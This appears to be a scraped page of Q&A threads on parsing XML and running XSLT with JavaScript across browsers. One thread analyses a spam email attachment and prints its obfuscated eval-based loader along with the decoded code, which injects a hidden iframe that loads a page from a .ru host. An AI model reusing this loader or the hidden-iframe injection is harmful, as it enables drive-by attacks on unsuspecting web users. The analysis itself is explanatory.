Need help parsing xml with javascript - javascript

First let me thank you for the assistance, I am new to Javascript, and want to learn to parse a >.xml file into my javascript. The file I want to parse is contact.xml, located in my root folder.
Again, thank you.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1 /DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
function loadXMLDoc(XMLname)
{
var xmlDoc;
if (window.XMLHttpRequest)
{
xmlDoc=new window.XMLHttpRequest();
xmlDoc.open("GET",XMLname,false);
xmlDoc.send("");
return xmlDoc.responseXML;
}
// IE 5 and IE 6
else if (ActiveXObject("Microsoft.XMLDOM"))
{
xmlDoc=new ActiveXObject("Microsoft.XMLDOM");
xmlDoc.async=false;
xmlDoc.load(XMLname);
return xmlDoc;
}
alert("Error loading document!");
return null;
}
<title>Contacts</title>
</script>
</head>
<body>
<script type="text/javascript">
xmlDoc = loadXMLDoc("contactinfo.xml") // Path to the XML file;
var M = xmlDoc.getElementsByTagName("item");
for (i=0;i<M.length;i++){
document.write("<div style='width:450px;'>")
document.write("<h2>"+xmlDoc.getElementsByTagName("item")[i].childNodes[0].nodeValue+"</h2>");
document.write("<p>" + xmlDoc.getElementsByTagName("servicephone")[i].childNodes[0].nodeValue+ "</p>");
document.write("<p><a href='" + xmlDoc.getElementsByTagName("email")[i].childNodes[0].nodeValue +"</p>);
document.write("</div>")
}
</script>
</body>
</html>
*Here is my .xml file*
<?xml version="1.0" encoding="utf-8" ?>
<Contacts>
<item servicephone="(800) 500-0066"
email="customerservice#fsig.com"
url="http://www.fsig.com"
address="5000 Barcilona Beach Rd. Wilmington, NC 28000">
</item>
</Contacts>

You need to go down the hierarchy, so, first find the Contacts node, then inside there you can get all the tagnames as you have.
You have a great deal of attributes so you may find this useful also:
node.attributes["url"].nodeValue
So just loop through all the items, then I would just copy itemelem[t] to node just to make it easier, then you get the attributes you need.
Depending on the browser you are using most of them come with some javascript debugger, so you can put in breakpoints and look at the values in the variables and see what the next step needs to be.

Related

Open Excel file instead of download using HTML and Javascript

Can anyone please suggest any idea about how to open an Excel file, kindly check below code and let me know how to achieve opening the instead of downloading the file.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script type="text/javascript">
function read()
{
var txtFile = new XMLHttpRequest();
txtFile.open("GET", "C:\Users\user-temp\Downloads\test.xlsx", true);
txtFile.onreadystatechange = function()
{
if (txtFile.readyState === 4)
{
// Makes sure the document is ready to parse.
if (txtFile.status === 200)
{
// Makes sure it's found the file.
document.getElementById("div").innerHTML = txtFile.responseText;
}
}
}
txtFile.send(null)
}
</script>
</head>
<body onload="read();">
<form id="form1" runat="server">
<div id="div">
</div>
</form>
in your case you can use following methodswith google viewer iframe:
<iframe src="http://docs.google.com/gview?url=https://sifr.in/img/292/1/courseAndroid.xlsx&embedded=true"></iframe>
or with microsoft viewer iframe:
<iframe src='https://view.officeapps.live.com/op/embed.aspx?src=https://sifr.in/img/292/1/courseAndroid.xlsx'></iframe>
or open it in another tab / window with following:
Open your excel file
credit must also go tothis guy

Script works in Chrome but not in IE or FF

I have the following code that works in chrome however does not work in FF or IE.
The code allows a user to select a text file and re-reads the contents every 10 seconds and updates the PRE tag with the contents of the text file.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Read text file every 10 seconds</title>
<script type="text/javascript">
var currentIntervalId = undefined;
var startOrRestart = function(that) {
if (currentIntervalId !== undefined) clearInterval(currentIntervalId);
readText(that); // For executing immediately
currentIntervalId = setInterval(function() { readText(that); }, 10000);
};
function readText(that){
if(that.files && that.files[0]){
//alert("hello");
var reader = new FileReader();
reader.onload = function (e) {
var contents = e.target.result;//.replace("\r\n","<br/>");
contents = contents.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
document.getElementById('board').innerHTML= contents;
};//end onload()
reader.readAsText(that.files[0]);
}//end if html5 filelist support
}
</script>
</head>
<body>
<input type="file" onchange='startOrRestart(this)' /> <hr />
<pre id="board" contenteditable = "true">
This is where the text from the chosen text file will be loaded.
</pre>
</body>
</html>
Can someone help get this to work in other browsers?
Thanks in advance.
When a file is selected the input has a snapshot of the contents at that point. Local changes on disk don't update the snapshot.
Chrome's implementation appears to break the spec so an example will work only in Chrome.
You can see another question with explanation here

XSL parameters using JavaScript

I have a html page like:
<html>
<head>
<script>
function loadXMLDoc(dname)
{
if (window.XMLHttpRequest)
{
xhttp=new XMLHttpRequest();
}
else
{
xhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xhttp.open("GET",dname,false);
xhttp.send("");
return xhttp.responseXML;
}
function displayResult()
{
xml=loadXMLDoc("1.xml");
xsl=loadXMLDoc("2.xsl");
// code for IE
if (window.ActiveXObject)
{
xml.addParameter("rss", test);
ex=xml.transformNode(xsl);
document.getElementById("example").innerHTML=ex;
}
// code for Mozilla, Firefox, Opera, etc.
else if (document.implementation && document.implementation.createDocument)
{
xsltProcessor=new XSLTProcessor();
xsltProcessor.importStylesheet(xsl);
resultDocument = xsltProcessor.transformToFragment(xml,document);
document.getElementById("example").appendChild(resultDocument);
}
}
</script>
</head>
<body onload="displayResult()">
<div id="example" />
</body>
</html>
Now I would like to pass a variable (javascript) to the XSL like for example "course_name" so that in the XSL I can use it like
<xsl:param name="course_name" />
<xsl:value-of select="$course_name" />
Any help with the approach to solve this problem is highly appreciated.
You can do it like this:
xsltProcessor.setParameter(null, "course_name", "whatever the name is");
and for IE, you will need to change your code as per http://msdn.microsoft.com/en-us/library/windows/desktop/ms762312%28v=vs.85%29.aspx , but the command is:
xslproc.addParameter("param1", "Hello");
...but given that you added "xslt-2.0" as a tag, you should know that built-in XSLT support in browsers only goes up to XSL 1.0.
The following may be of additional help:
https://developer.mozilla.org/en-US/docs/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations
https://developer.mozilla.org/en-US/docs/The_XSLT_JavaScript_Interface_in_Gecko/Setting_Parameters
http://msdn.microsoft.com/en-us/library/windows/desktop/ms762312%28v=vs.85%29.aspx
The Saxon-CE XSLT 2.0 processor runs in the browser as a JavaScript library/framework. Because its JavaScript there's a high level of interoperability, so you can pass parameters to the XSLT processor, but you can also call JavaScript functions from the XSLT, which gives added flexibility.
When passing values across, arrays in JavaScript correspond to XSLT 2.0 sequences, but some care is still required to ensure types are preserved across the language boundary.
The JavaScript API for Saxon-CE has 2 distinct forms of syntax - one is the same as that in your code, but below is an example of the alternate syntax - the same code runs on all the major browsers:
<!DOCTYPE html>
<html>
<head>
<title>stacko</title>
<script type="text/javascript" language="javascript"
src="../Saxonce/Saxonce.nocache.js"></script>
<script type="text/javascript" language="javascript">
var my_course = "physics";
onSaxonLoad = function() {
proc = Saxon.run( {
stylesheet: 'stacko.xsl',
source: 'stacko.xml',
parameters: {
course_name: my_course,
tutor: "Mr smith"
}
} );
}
</script>
</head>
<body>
<div id="example"></div>
</body>
</html>
There's no need to return the result fragment back to JavaScript with this processor (though you can if necessary), because the XSLT 2.0 xsl:result-document instruction has been extended so it can use an href attribute that specifies the id of the element in the HTML page to update, for example:
<xsl:result-document href="#example" method="replace-content">
<p><xsl:value-of select="ixsl:source()/books/book[#title = 'One']/></p>
</xsl:result-document>
There's more detail in the API section of the Saxon-CE documentation

javascript in spam email; what's it trying to do?

I received a spam message that had a .htm attachment. I opened the file in gedit on my linux machine and saw the following. Does the script it would try to run do anything? It looks harmless, yet confusing.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Please wait untill the page loads...</title>
</head>
<body>
<h1>Loading... Please Wait...</h1><br>
</body>`
<script>
if(window['doc'+'ume'+'nt'])
aa=/\w/.exec(new Date()).index+[];
aaa='0';
try {
new location();
}catch(qqq){
ss=String;
if(aa===aaa)
f='-30q-30q66q63q-7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-30q-30q86q-7q62q69q76q62q-7q84q-30q-30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q76q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-7q63q-7q22q-7q61q72q60q78q70q62q71q77q7q60q75q62q58q77q62q30q69q62q70q62q71q77q1q0q66q63q75q58q70q62q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q76q75q60q0q5q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q2q20q63q7q76q77q82q69q62q7q79q66q76q66q59q66q69q66q77q82q22q0q65q66q61q61q62q71q0q20q63q7q76q77q82q69q62q7q73q72q76q66q77q66q72q71q22q0q58q59q76q72q69q78q77q62q0q20q63q7q76q77q82q69q62q7q69q62q63q77q22q0q9q0q20q63q7q76q77q82q69q62q7q77q72q73q22q0q9q0q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q80q66q61q77q65q0q5q0q10q9q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q65q62q66q64q65q77q0q5q0q10q9q0q2q20q-30q-30q-30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-30q-30q86'
.split('q');
md='a';
e=window['e'+'val'];
w=f;
s='';
fr='fromChar';
r=ss[fr+'Code'];
for(i=0;-i>-w.length;i+=1) {
j=i;
s=s+r(39+1*w[j]);
}
if(Math.round(-4*Math.tan(Math.atan(0.5)))===-2)
z=s;
e(z);
}
</script>
</html>
Encoded in f is the following code, which the script evals (executes):
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php');
f.style.visibility='hidden';
f.style.position='absolute';
f.style.left='0';
f.style.top='0';
f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
I assume whatever lives on http://cparabnormapoopdsf.ru:8080 is evil and tries to exploit some kind of browser vulnerabilities.
I was able to extract f by basically copying what the script is doing:
var f = '-30q-30q66q63q-7q1q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q2q84q-30q-30q-30q66q63q75q58q70q62q75q1q2q20q-30q-30q86q-7q62q69q76q62q-7q84q-30q-30q-30q61q72q60q78q70q62q71q77q7q80q75q66q77q62q1q-5q21q66q63q75q58q70q62q-7q76q75q60q22q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q-7q80q66q61q77q65q22q0q10q9q0q-7q65q62q66q64q65q77q22q0q10q9q0q-7q76q77q82q69q62q22q0q79q66q76q66q59q66q69q66q77q82q19q65q66q61q61q62q71q20q73q72q76q66q77q66q72q71q19q58q59q76q72q69q78q77q62q20q69q62q63q77q19q9q20q77q72q73q19q9q20q0q23q21q8q66q63q75q58q70q62q23q-5q2q20q-30q-30q86q-30q-30q63q78q71q60q77q66q72q71q-7q66q63q75q58q70q62q75q1q2q84q-30q-30q-30q79q58q75q-7q63q-7q22q-7q61q72q60q78q70q62q71q77q7q60q75q62q58q77q62q30q69q62q70q62q71q77q1q0q66q63q75q58q70q62q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q76q75q60q0q5q0q65q77q77q73q19q8q8q60q73q58q75q58q59q71q72q75q70q58q73q72q72q73q61q76q63q7q75q78q19q17q9q17q9q8q66q70q58q64q62q76q8q58q78q59q69q59q83q61q71q66q7q73q65q73q0q2q20q63q7q76q77q82q69q62q7q79q66q76q66q59q66q69q66q77q82q22q0q65q66q61q61q62q71q0q20q63q7q76q77q82q69q62q7q73q72q76q66q77q66q72q71q22q0q58q59q76q72q69q78q77q62q0q20q63q7q76q77q82q69q62q7q69q62q63q77q22q0q9q0q20q63q7q76q77q82q69q62q7q77q72q73q22q0q9q0q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q80q66q61q77q65q0q5q0q10q9q0q2q20q63q7q76q62q77q26q77q77q75q66q59q78q77q62q1q0q65q62q66q64q65q77q0q5q0q10q9q0q2q20q-30q-30q-30q61q72q60q78q70q62q71q77q7q64q62q77q30q69q62q70q62q71q77q76q27q82q45q58q64q39q58q70q62q1q0q59q72q61q82q0q2q52q9q54q7q58q73q73q62q71q61q28q65q66q69q61q1q63q2q20q-30q-30q86'
.split('q');
That gets you an array of numbers, which the script assembles into a string by adding 39 to each:
for (var i=0, s=''; i < f.length; i++) s+=String.fromCharCode(39+1*f[i]);
The encoded bit turns into:
if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("<iframe src='http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer(){
var f = document.createElement('iframe');
f.setAttribute('src','http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php');
f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';
f.style.top='0';f.setAttribute('width','10');
f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}
The domain at http://cparabnormapoopdsf.ru:8080/images/aublbzdni.php does something unknown. The server is running nginx and just redirects to google.com. Perhaps at some later point it will do something else.

how to run XSL file using JavaScript / HTML file

i want to run xsl file using javascript function. I wrote a javascrpt function which is working well with Firefox and Crom but it is not working on Internet Explorer
function loadXMLDoc(dname)
{
if (window.XMLHttpRequest)
{
xhttp=new XMLHttpRequest();
}
else
{
xhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xhttp.open("GET",dname,false);
xhttp.send("");
return xhttp.responseXML;
}
function displayResult()
{
xml=loadXMLDoc("NewXml.xml");
xsl=loadXMLDoc("NewFile.xsl");
// code for IE
if (window.ActiveXObject)
{
ex=xml.transformNode(xsl);
document.getElementById("example").innerHTML=ex;
}
// code for Mozilla, Firefox, Opera, etc.
else if (document.implementation && document.implementation.createDocument)
{
xsltProcessor=new XSLTProcessor();
xsltProcessor.importStylesheet(xsl);
resultDocument = xsltProcessor.transformToFragment(xml,document);
document.getElementById("example").appendChild(resultDocument);
}
}
Please help my by modifying this code or by another code so that i can work with Internet Explorer.
Thanks
To apply xsl trasformation I use, and promote, Sarissa. It is a crossbrowser library that envelope the xml apis of the different browser.
For an example of a trasformation with Sarissa you can head straight to the howto page
but it is similar to this:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>sarissa test1</title>
<script type="text/javascript" src="sarissa.js"></script>
</head>
<body>
<script type="text/javascript">
function loadXMLDoc(dname) {
xhttp = new XMLHttpRequest();
xhttp.open("GET",dname,false);
xhttp.send("");
return xhttp.responseXML;
}
var processor = new XSLTProcessor();
var theXML = loadXMLDoc('xml.xml');
var theXSL = loadXMLDoc('xsl.xsl');
// prepare the processor
processor.importStylesheet(theXSL);
var theResult = processor.transformToDocument(theXML);
// now you have a DomDocument with the result
// if you want to serialize (transform to a string) it you van use
document.write(new XMLSerializer().serializeToString(theResult));
</script>
</body>
</html>
Quick, easy, mantained and you can focus your efforts to the xsl creation instead than struggling to overcome the browsers differences.
The single glitch, to me is a plus but someone may see it as a limitation, the code is released under GPL 2.1 or higher or, if you prefer Apache Licence 2.0 or higher
Edit: Mine fault, I posted an old (and wrong code) without checking it. Created a new version miming your script (and tested it) on firefox, chrome, ie8, ie7 and it worked flawlessy. I used the first two xsl/xml found on a google search (I report them below for
completeness). Try the code as is and with your xsl/xml. If it goes wrong report the malfunction too (we can be more effective with a deeper error description than - don't work - ). What happens when the code misbehave? (the browser freeze, report an error, return a blank result)
xml:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!--?xml-stylesheet type="text/xsl" href="xsl.xsl"?-->
<tutorials>
<tutorial>
<name>XML Tutorial</name>
<url>http://www.quackit.com/xml/tutorial</url>
</tutorial>
<tutorial>
<name>HTML Tutorial</name>
<url>http://www.quackit.com/html/tutorial</url>
</tutorial>
</tutorials>
xsl:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<!-- try to enable/disable the xsl:output -->
<!-- xsl:output method="xml"
version="1.0"
encoding="iso-8859-1"
indent="yes"/-->
<xsl:template match="/">
<html>
<head>
<title>XML XSL Example</title>
<style type="text/css">
body
{
margin:10px;
background-color:#ccff00;
font-family:verdana,helvetica,sans-serif;
}
.tutorial-name
{
display:block;
font-weight:bold;
}
.tutorial-url
{
display:block;
color:#636363;
font-size:small;
font-style:italic;
}
</style>
</head>
<body>
<h2>Cool Tutorials</h2>
<p>Hey, check out these tutorials!</p>
<xsl:apply-templates/>
</body>
</html>
</xsl:template>
<xsl:template match="tutorial">
<span class="tutorial-name"><xsl:value-of select="name"/></span>
<span class="tutorial-url"><xsl:value-of select="url"/></span>
</xsl:template>
</xsl:stylesheet>

Categories

Resources